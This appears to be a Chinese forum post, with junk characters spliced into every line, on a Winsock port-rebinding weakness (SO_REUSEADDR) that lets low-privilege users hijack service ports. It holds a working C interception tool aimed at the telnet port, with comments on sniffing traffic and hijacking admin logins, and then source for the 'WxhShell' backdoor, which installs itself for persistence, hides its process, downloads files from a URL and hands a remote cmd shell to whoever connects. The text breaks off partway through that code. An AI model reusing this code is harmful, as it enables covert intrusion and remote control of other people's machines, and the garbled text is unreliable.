在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D6w0Y:A{. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
AN@Vos
Cu 2xX7dl(cC saddr.sin_family = AF_INET;
|{
kB` q`P:PRgM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`f'P <mN3:G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iX=*qiVX Qxwe,: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H|Ems}b a|.u; 这意味着什么?意味着可以进行如下的攻击:
)-(NL!?` o0 Ae*Y0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
< -Nj V;"'!dVX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VI?[8@*Z U:Y?2$# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
t`Sh!e _3hEYeh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:O7J9K| V+^\SiM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P1t5-q '&9b*u";x( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;>~iCFk]? mS0W@# |K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Wh,kJis< @9-qqU@ #include
4t":WutC #include
1 !sYd@iD@ #include
Yr+&|;DB #include
n#*cVB81 DWORD WINAPI ClientThread(LPVOID lpParam);
f =Nm2(e int main()
W;=ZQ5Lw {
bu]bfnYi9 WORD wVersionRequested;
tm$3ZzP4 DWORD ret;
}sFHb[I & WSADATA wsaData;
(f)QEho7 BOOL val;
S7bSR?~L[ SOCKADDR_IN saddr;
5q\]] LV> SOCKADDR_IN scaddr;
zIu1oF4[ int err;
fA8 ,wy|> SOCKET s;
^#nAS2w7U SOCKET sc;
j'Fni4; int caddsize;
^dro*a, HANDLE mt;
/#tOi[0[ DWORD tid;
b{A#P? wVersionRequested = MAKEWORD( 2, 2 );
t4h* re+ err = WSAStartup( wVersionRequested, &wsaData );
uB\A8zC if ( err != 0 ) {
o\N),;LM printf("error!WSAStartup failed!\n");
[Mx+t3M return -1;
dQ<EDtap }
.L}ar7 saddr.sin_family = AF_INET;
hGsYu ) {J[0UZ6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
jN'zNOV~ k3&Wv saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\n}cx~j saddr.sin_port = htons(23);
[,VD^\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|g~.]2az {
nk[ixVc printf("error!socket failed!\n");
zJPzI{-w| return -1;
\QVL%,.%M }
8{AzB8xp val = TRUE;
'Ag?#vB //SO_REUSEADDR选项就是可以实现端口重绑定的
G=DRz F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8IO4>CMkv {
u
BvN*LQ printf("error!setsockopt failed!\n");
I'JFt>] return -1;
FbF P }
biQDupTz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2TdcZ<k}J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$aEL>,X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kEi!q 2QdqVwm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{<V{0
s% {
U<zOR=_ ret=GetLastError();
PA Jt M printf("error!bind failed!\n");
rAgb<D@,H return -1;
6]M(ElV1H }
{D$+~lO listen(s,2);
8RB\P:6h while(1)
Bx)4BPaN {
opd^|xx0 caddsize = sizeof(scaddr);
?e0ljx; //接受连接请求
/>H9T[3= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@PutUYz if(sc!=INVALID_SOCKET)
1jDN=hIl {
q>t#5Z81 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
MGK%F#PM if(mt==NULL)
!IcPO {
r3'0{Nn+ printf("Thread Creat Failed!\n");
nGq{+
G break;
Nzf tc }
v#TU7v?~ }
N^v"n*M0| CloseHandle(mt);
U<K)'l6#2n }
Ch>r.OfP closesocket(s);
)m|)cLT& WSACleanup();
,XU<2jv] return 0;
UZz/v#y~ }
`fS$@{YI_ DWORD WINAPI ClientThread(LPVOID lpParam)
zt6GJz1q {
Kqm2TMO]>V SOCKET ss = (SOCKET)lpParam;
y2KR^/LN|Y SOCKET sc;
7*.nd unsigned char buf[4096];
]De<'x} SOCKADDR_IN saddr;
@cukoLAn long num;
-e(e;e DWORD val;
;0FfP DWORD ret;
EV/DJ$C } //如果是隐藏端口应用的话,可以在此处加一些判断
"Doz~R\\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7v't# = saddr.sin_family = AF_INET;
Q\rf J|| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_\;0E!=p saddr.sin_port = htons(23);
E%LUJx} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.~u[rc|< {
#Pt_<?JtV printf("error!socket failed!\n");
qz95) return -1;
0~4Ww=# }
E6XDn`: val = 100;
\xG_q>1_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LGB}:;$AL {
>cJix
1 ret = GetLastError();
||D PIn] return -1;
{^8?fJ/L }
/*P) C'_M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R"W5R- {
xIA] 5@;a ret = GetLastError();
AO,
o|,#4F return -1;
j<'ftKk }
(1 (~r"4I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7>"dc+Fg {
/g$G
G9 printf("error!socket connect failed!\n");
L>L IN 1A closesocket(sc);
U$|q]N closesocket(ss);
e.\dqt~%y return -1;
<p/zm}?') }
DG?g~{Y~b while(1)
t'1g+g {
bFjH*~
P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'Fy"|M;2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
|M`'
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PriLV4? num = recv(ss,buf,4096,0);
G 9|2
KUG if(num>0)
x$;RfK2&p send(sc,buf,num,0);
}{y)a<` else if(num==0)
_B>'07D0 break;
^"<x4e9+j num = recv(sc,buf,4096,0);
'Lq+ONX5 if(num>0)
& .0A% send(ss,buf,num,0);
{0~\ T[qm else if(num==0)
4sRM"w; break;
)(0if0D4 }
9#TD1B/ closesocket(ss);
@R%*; )*F closesocket(sc);
~7 `,}) d return 0 ;
G9NI`]k }
nNq<x^@83 793 15A XLC9B3Jt ==========================================================
![;={d0 /78]u^SW 下边附上一个代码,,WXhSHELL
nfbR"E
jXr /5)*epF+ ==========================================================
ugN t7P,^ ~Oa$rqu%m #include "stdafx.h"
eZEk$W% fX]`vjM{ #include <stdio.h>
r1}^\C #include <string.h>
"MU-&** #include <windows.h>
<pfl>Uf #include <winsock2.h>
+: x[cK #include <winsvc.h>
R\|,GZ!`+ #include <urlmon.h>
fGb}V'x}r
yUj`vu2 #pragma comment (lib, "Ws2_32.lib")
y_X jY #pragma comment (lib, "urlmon.lib")
Q66 + N"}>);r #define MAX_USER 100 // 最大客户端连接数
'y\Je7 #define BUF_SOCK 200 // sock buffer
S=ZZ[E_~S #define KEY_BUFF 255 // 输入 buffer
ele@xl L/Q[N^ (^ #define REBOOT 0 // 重启
r[4n2Mys #define SHUTDOWN 1 // 关机
+!0K]$VZs j1KNgAo<4 #define DEF_PORT 5000 // 监听端口
-Y@tx fu- .6P.r} #define REG_LEN 16 // 注册表键长度
yI 2UmhA #define SVC_LEN 80 // NT服务名长度
o>_})WM1[ n9xP8<w8
// 从dll定义API
.ojEKu+EJ' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[a04(
2g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`p&[b]b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lhKn&U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/kY9z~l db~^Gqv6k // wxhshell配置信息
UB.1xcI struct WSCFG {
UxL*I[z5 int ws_port; // 监听端口
5X20/+aT char ws_passstr[REG_LEN]; // 口令
:ZM9lBY h int ws_autoins; // 安装标记, 1=yes 0=no
uX*2Rs$s char ws_regname[REG_LEN]; // 注册表键名
4~,Z ' k char ws_svcname[REG_LEN]; // 服务名
(iX8YP$ % char ws_svcdisp[SVC_LEN]; // 服务显示名
!gve]>M char ws_svcdesc[SVC_LEN]; // 服务描述信息
&cL1 EQ( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
lG)wa int ws_downexe; // 下载执行标记, 1=yes 0=no
\P*_zd@% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
l)9IgJ|<b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bZNqv-5 4h B W<Dmn };
Z#Mm4(KNh se\f be ^0 // default Wxhshell configuration
m,lZy#02s3 struct WSCFG wscfg={DEF_PORT,
eAf i!!Z< "xuhuanlingzhe",
D`T;j[SsS# 1,
!BsQJ_H "Wxhshell",
~Jk&!IE2 "Wxhshell",
,B[j{sE "WxhShell Service",
tw_o?9 "Wrsky Windows CmdShell Service",
moM?aYm "Please Input Your Password: ",
1(gs({ 1,
7v*gwBH "
http://www.wrsky.com/wxhshell.exe",
ysz =Xw "Wxhshell.exe"
Qs elW] };
Kcm+%p^ 1uAjy(y // 消息定义模块
HU'Mi8xxy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5MVa;m char *msg_ws_prompt="\n\r? for help\n\r#>";
hx9{?3# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
t>[W]%op char *msg_ws_ext="\n\rExit.";
8M99cx*K char *msg_ws_end="\n\rQuit.";
wM+1/[7 char *msg_ws_boot="\n\rReboot...";
4.!1odKp char *msg_ws_poff="\n\rShutdown...";
} ?j5V char *msg_ws_down="\n\rSave to ";
@@AL@.* w}ji]V} char *msg_ws_err="\n\rErr!";
Zz0bd473k? char *msg_ws_ok="\n\rOK!";
FJ_7<4ET <y@vv char ExeFile[MAX_PATH];
M7TLQqaF int nUser = 0;
aUaeK(x:H HANDLE handles[MAX_USER];
N1$u@P{ int OsIsNt;
h3o'T=`Sm 4!IuTPmr SERVICE_STATUS serviceStatus;
>Uw:cq SERVICE_STATUS_HANDLE hServiceStatusHandle;
0$*7lQ<a#M N d].(_ // 函数声明
A7%d int Install(void);
eFG/!b<17 int Uninstall(void);
3`bQ0-D; int DownloadFile(char *sURL, SOCKET wsh);
;P91'B~t int Boot(int flag);
{7o3wxsS void HideProc(void);
P8eCaZg?(3 int GetOsVer(void);
0P$1=oK int Wxhshell(SOCKET wsl);
#AJW-+1g.= void TalkWithClient(void *cs);
W_W !v&@E= int CmdShell(SOCKET sock);
y
bhFDx int StartFromService(void);
rtj/&> int StartWxhshell(LPSTR lpCmdLine);
yaR>?[h M~A#_%2U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
S%iK); VOID WINAPI NTServiceHandler( DWORD fdwControl );
`?z('FV N3%#JdzZ$ // 数据结构和表定义
B!wN%>U SERVICE_TABLE_ENTRY DispatchTable[] =
\u,CixV= {
!D=! {wscfg.ws_svcname, NTServiceMain},
8 0tA5AP {NULL, NULL}
sY;h~a0n };
Uu_qy(4 vNSUrf,r // 自我安装
`NIb?/!f int Install(void)
$gl|^c\ {
9hzu!}~'I char svExeFile[MAX_PATH];
V'kBF2} HKEY key;
L]=]/>jQ6 strcpy(svExeFile,ExeFile);
YK/? mj1x Qc7*p]E& // 如果是win9x系统,修改注册表设为自启动
[+\He/M6 if(!OsIsNt) {
2j-l<!s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$MR1
*_\V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*j3U+HV RegCloseKey(key);
f)Qln[/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\@@ G\\)er RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"yu{b]AU RegCloseKey(key);
A[l
)>: return 0;
"9; }
HxO+JI`'3 }
u`XRgtI{g? }
Nw"df=,{ else {
7J);{ &x9h \l!+l // 如果是NT以上系统,安装为系统服务
Vh0cac|X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y3efie {J if (schSCManager!=0)
%Xc,l Y1? {
WOO3z5 La SC_HANDLE schService = CreateService
K@p9_K8 (
T6/P54S schSCManager,
U6-47m0% wscfg.ws_svcname,
Mi.#x_ wscfg.ws_svcdisp,
;`
L%^WZ;- SERVICE_ALL_ACCESS,
k+"]; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
v~OMm\ SERVICE_AUTO_START,
;r@=[h
SERVICE_ERROR_NORMAL,
KH2]:&6:Q svExeFile,
6w%n$tiX NULL,
|eRE'Wd0 NULL,
Xm,fyk> NULL,
!60U^\ NULL,
"M:ui0YP NULL
Tf#Op
v) );
uihH")Mo if (schService!=0)
7)U
ik}0 {
@;O"-7Kk CloseServiceHandle(schService);
-3ePCAtXbe CloseServiceHandle(schSCManager);
,|*Gr"Q= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+s<6eHpm strcat(svExeFile,wscfg.ws_svcname);
`\@n&y[`7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5@RcAQb: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ys.GBSlHG RegCloseKey(key);
GG%;~4#2 return 0;
+o@:8!IM1 }
6D]fDeH\ }
d%I7OBBx@ CloseServiceHandle(schSCManager);
o~'p&f }
^Zvb3RJ g }
a =W%x{ '`;=d<' return 1;
Z'A 3\f }
qMEd
R;o 0to`=;JI // 自我卸载
u"zR_CzYc int Uninstall(void)
Hya.OW{ {
NU_^*@k HKEY key;
4Q#{, y944 mxEe
-q if(!OsIsNt) {
K bQXH!J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(Q*x"G#4> RegDeleteValue(key,wscfg.ws_regname);
~rb]u
Ny- RegCloseKey(key);
@_t=0Rc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PCwc= RegDeleteValue(key,wscfg.ws_regname);
N( 7(~D=)B RegCloseKey(key);
5$!idfDr|m return 0;
+UWv }| }
?#a&eW }
Jqzw94 }
\A^8KVE! else {
#8L:.,AYE lV:feX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Lios1|5 if (schSCManager!=0)
&_]G0~e {
8+Tv@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-J=6) if (schService!=0)
kIa16m {
'0~?zP if(DeleteService(schService)!=0) {
'DXT7|Df CloseServiceHandle(schService);
h<M1q1) CloseServiceHandle(schSCManager);
t]Ln(r return 0;
1.u^shc&| }
iOIq2&sV CloseServiceHandle(schService);
4<tbZP3/6) }
rRe^7xGe7 CloseServiceHandle(schSCManager);
s[a\m, }
G0m$bi=z }
4S*ifl <BT18u\ return 1;
E,\)tZ;, }
J|hVD s)E8}-v // 从指定url下载文件
gFuK/]gzI int DownloadFile(char *sURL, SOCKET wsh)
k?HdW(HA {
@C^x&Sjm HRESULT hr;
e}-fGtFx char seps[]= "/";
66-\}8f8a char *token;
uX!6:v] char *file;
iVnMn1h char myURL[MAX_PATH];
*jQ$\|Y char myFILE[MAX_PATH];
<V}q8k BPkL3Ev1V strcpy(myURL,sURL);
%5+X token=strtok(myURL,seps);
4Th?q{X while(token!=NULL)
&ZMQ]'& {
(X^,.qy file=token;
Fs~*-R$ token=strtok(NULL,seps);
,_H H8[& }
%m/lPL *tT}N@<% GetCurrentDirectory(MAX_PATH,myFILE);
@D*PO-s9 strcat(myFILE, "\\");
l
x;87MDs strcat(myFILE, file);
iku*\,6W send(wsh,myFILE,strlen(myFILE),0);
yogL8V-^4 send(wsh,"...",3,0);
x0%m}P/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K_ymA,&() if(hr==S_OK)
<z%**gP~G return 0;
&+(D< U else
fBZLWfp9 return 1;
OO?N)IB@ &QD)1b[U }
nu+^D$ait 0+1!-Wo // 系统电源模块
LKI\(%ba# int Boot(int flag)
'OTZ&;7{ {
;{H Dz$ HANDLE hToken;
(x/:j*`K TOKEN_PRIVILEGES tkp;
6&'kN2 wXp:XZ:]T if(OsIsNt) {
A{-S )Z3} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fnr8{sr.2Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
OESKLjFt tkp.PrivilegeCount = 1;
WY>$.e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jK/FzD0- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.]KC*2 if(flag==REBOOT) {
aY,Bt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*p9)5 return 0;
kmTYRl
)j }
oDD"h,Z else {
q,#s m'S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k ?6d\Q return 0;
~vpF|4Zn5 }
y2?9pVLa\y }
1k:yU( else {
Op9 ^Eu%n if(flag==REBOOT) {
re%XaL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Hicd
-' return 0;
F-o?tU }
W{q
P/R else {
R#ZJLT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/>I5,D'h return 0;
j3%Wrt }
A)!W VT&2A }
nG5\vj,zB ^J-Xy\X return 1;
cs\=8_5 }
bcT_YFLQ ??B!UXi4R // win9x进程隐藏模块
,)d`_AD+5 void HideProc(void)
,KM%/;1Dm {
` W);+s OMmfTlM% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`EMGrw_ if ( hKernel != NULL )
\fC;b"j {
bG"FN/vg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r|ZB3L|7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$$0<
& FreeLibrary(hKernel);
DC> R }
c-NUD$ }oG6XI9 return;
52#
*{q} }
[#\OCdb*3 9'~qA(=.? // 获取操作系统版本
&@|? % int GetOsVer(void)
[3S17tTc3 {
B [YyA OSVERSIONINFO winfo;
?xMTO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$U7/w?gc' GetVersionEx(&winfo);
hTZ6@i/pS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)$f?v22 return 1;
*UW 8|\; else
BH^*K/^ return 0;
#k>n5cR@0 }
rmvrv.$3 ZW"f*vwQo // 客户端句柄模块
: Gi8Jo int Wxhshell(SOCKET wsl)
":/Vp,g {
`g(#~0R SOCKET wsh;
;}S_ PnwC@ struct sockaddr_in client;
k
75 p DWORD myID;
(ESFR0 @%u}|iF| while(nUser<MAX_USER)
@|ZUyat {
[-Y~g%M int nSize=sizeof(client);
U{lf$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5Y`4%*$ if(wsh==INVALID_SOCKET) return 1;
N`N=}&v ] T$r/XAs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BDPE.8s if(handles[nUser]==0)
pcscNUp closesocket(wsh);
r/NaoIrJV else
d72
yu3 nUser++;
O3slYd&V }
hr'?#K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Q2)5A&U\ s2N'Ip return 0;
'#j6ZC/? }
/ M]P&Zb | J'=s25OWU // 关闭 socket
Z(4/;v <CT void CloseIt(SOCKET wsh)
p*cyW l {
UDJ#P9uy closesocket(wsh);
13 JG[,w nUser--;
E)I&? <g ExitThread(0);
G5 )"%G. }
*CF80DJ *) \y52z // 客户端请求句柄
g0/R\ void TalkWithClient(void *cs)
x3Fn'+ {
GP^^
K loq2+( SOCKET wsh=(SOCKET)cs;
^5 "yY2}- char pwd[SVC_LEN];
;Cx`RF
w char cmd[KEY_BUFF];
~^Ga?Q_ char chr[1];
n.5M6i/~a int i,j;
HH(2 &V&beq4)p while (nUser < MAX_USER) {
7{S;~VH3 'S
v
V10$5 if(wscfg.ws_passstr) {
,e`n2) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X&49C:jN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@{<^rLt //ZeroMemory(pwd,KEY_BUFF);
5 8U[IGs( i=0;
PDgZb while(i<SVC_LEN) {
O6-';H:I]L UiK)m:NU // 设置超时
+W[{UC4b fd_set FdRead;
5|bfrc struct timeval TimeOut;
vPy."/[u FD_ZERO(&FdRead);
<Fl.W}?Q} FD_SET(wsh,&FdRead);
!]7L9TGn TimeOut.tv_sec=8;
JGzEm>_m TimeOut.tv_usec=0;
XL1x8IB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vHPsHy7y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$Zrc-tkV 3ox|Mz<aZX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}b<w \9AF pwd
=chr[0]; /W}"/W9
if(chr[0]==0xd || chr[0]==0xa) { ?6MUyH]a
pwd=0; eVbT<9k
break; rXGaav9
} 1[RI
07g7*
i++; &" yoJ<L
} #N97
_w5c-\-PUM
// 如果是非法用户,关闭 socket ;t.)A3 PL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XzBl }4s
} 56Lt "Z F
RtaMrG=D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \:Hh'-77q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Z}m5f`t
mI;\ UOh'
while(1) { NeewV=[%
(I1^nrDP.
ZeroMemory(cmd,KEY_BUFF); H,!yG5yF
=$kSn\L,
// 自动支持客户端 telnet标准 Djp;\.$(
j=0; ~!Rf5QA85
while(j<KEY_BUFF) { 6* tky;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;cSR\Ng
cmd[j]=chr[0]; P$/Y9o
if(chr[0]==0xa || chr[0]==0xd) { \&v)#w
cmd[j]=0; "t>H
B6^
break; [&p/7
} Hv
=7+O$
j++; /XuOv(j
} [Z]CBEE
~.S/<:`U
// 下载文件 $|19]3T@Z
if(strstr(cmd,"http://")) { 3HndE~_C&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <+<,$jGC-
if(DownloadFile(cmd,wsh)) \%#luk@:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); llpgi,-=
else 1=jwJv.^/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q:,ck@-4
} +'9xTd
else { .`h:1FP8
*Y ?&N2@c
switch(cmd[0]) { rWuqlx#
1z8fhE iiE
// 帮助 @l~MY*hp
case '?': { A^7}:[s20
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :rN5HOg^9
break; Ec!R3+
} Rdy-6
// 安装 tHH @[E+h
case 'i': { Qy'-3GB
if(Install()) 6"o@d8>v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) !l1
else iuoZk5O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KyzdJ^xC"
break; 9+frxD&pO
} u< 5{H='6
// 卸载 ?Aky!43
case 'r': { S\A9r!2
if(Uninstall()) xcXnd"YYE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9P-I)ZqL
else $&0\BvS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+S1e~~
break; R lmeZy4.
} U{0!
<*W>
// 显示 wxhshell 所在路径 X}]g;|~SN
case 'p': { pRh)DM#9
char svExeFile[MAX_PATH]; e:iqv?2t
strcpy(svExeFile,"\n\r"); J<ZG&m362p
strcat(svExeFile,ExeFile); /h K/t;
send(wsh,svExeFile,strlen(svExeFile),0); iaQ3mk#
break; (!diPwcv
} D~f[ R g
// 重启 -Rr Qv(
case 'b': { M_#^zo
"x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S(5&%}QFQ
if(Boot(REBOOT)) f:/"OCig
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7V;wCm#b
else { >L88`
closesocket(wsh); 9*xv
,Yz8
ExitThread(0); -T .C?Q g
}
<Lfo5:.
break; LhtA]z,m
} Vg1MA
// 关机 d)v'K5
case 'd': { :.F;LF&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XbW 1`PH
if(Boot(SHUTDOWN)) -F';1D!l%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h
Ap(1h#m
else { )gKX+'
closesocket(wsh); A!aki}aT~
ExitThread(0); Vg8c}>7
} 4mwA o
break; uBxs`'C
} P&9&/0r=_
// 获取shell k(3FT%p
case 's': { sKGR28e
CmdShell(wsh); \t' ]Lf
closesocket(wsh); bc*CP0t|
ExitThread(0); #TG.weTC
break; FK`M+ j
} S1d{! ` 3
// 退出 ,
Y cF~
case 'x': { eRvnN>L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); };nOG;
CloseIt(wsh); vo]$[Cp|4
break; }Uunlz<
} LE4P$%>H
// 离开 tLe"i>
case 'q': { ]MV=@T^8#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); A$XmO}+
closesocket(wsh); 5$"IUq*
WSACleanup(); OW1\@CC-69
exit(1); Om C
F8:\/
break; +p_>fO
} mpDQhD[n
} aA&}=lm
} gjex; h
1A;f[Rze
// 提示信息 cR/z; *wr7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OE_A$8L
} ];au!
_o
} ?<eH!MHF
J+0T8
?A
return; $ 2PpG|q
} !6DH6<HC
!ZTBiC5R
// shell模块句柄 3q:>NB<
int CmdShell(SOCKET sock) Bq#B+JwX
{ >r5s>A[YC
STARTUPINFO si; B/ACU
ZeroMemory(&si,sizeof(si)); zUd{9B$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zFeo8S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /WJ+e
PROCESS_INFORMATION ProcessInfo; R7~#7qKQB
char cmdline[]="cmd"; X1~ WQ?ww
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k5]`:k6
return 0; 5Ak6 q(\
} @}iY(-V
B>,&{ah/5J
// 自身启动模式 Fd/.\s
int StartFromService(void) wA7^
{ %LeZd}v
typedef struct ])uhm)U@
{ ;`-@L
DWORD ExitStatus; k<!xOg
DWORD PebBaseAddress; ! )PV-[2
DWORD AffinityMask; 2g:V_%
